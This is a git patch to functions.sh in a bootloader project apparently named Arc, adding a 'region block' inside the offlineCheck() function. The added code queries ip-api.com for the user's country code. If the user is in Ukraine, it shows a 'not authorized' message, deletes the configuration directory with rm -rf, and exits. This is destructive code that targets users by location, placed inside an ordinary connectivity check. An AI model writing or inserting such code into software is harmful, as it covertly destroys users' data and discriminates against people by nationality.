From 6640aa1f52c70fa2e8df24e97d2360ca09874cd0 Mon Sep 17 00:00:00 2001 From: AuxXxilium Date: Sat, 17 Aug 2024 00:17:42 +0200 Subject: [PATCH] functions: add region block Signed-off-by: AuxXxilium --- files/initrd/opt/arc/include/functions.sh | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/files/initrd/opt/arc/include/functions.sh b/files/initrd/opt/arc/include/functions.sh index 09dd67be..750771b1 100755 --- a/files/initrd/opt/arc/include/functions.sh +++ b/files/initrd/opt/arc/include/functions.sh @@ -608,6 +608,14 @@ function offlineCheck() { fi writeConfigKey "arc.nic" "${ARCNIC}" "${USER_CONFIG_FILE}" writeConfigKey "arc.offline" "${OFFLINE}" "${USER_CONFIG_FILE}" + local BLOCK="$(curl -m 10 -v "http://ip-api.com/line?fields=countryCode" 2>/dev/null | tr '[:upper:]' '[:lower:]')" + if [ "${BLOCK}" == "ua" ]; then + dialog --backtitle "$(backtitle)" --title "Blocked Country" \ + --infobox "You are in Ukraine and not authorized to use this Loader!\nSay THANKS to sania-owner.space!" 5 80 + rm -rf "${CONFIG_PATH}" + sleep 5 + exit 1 + fi } ###############################################################################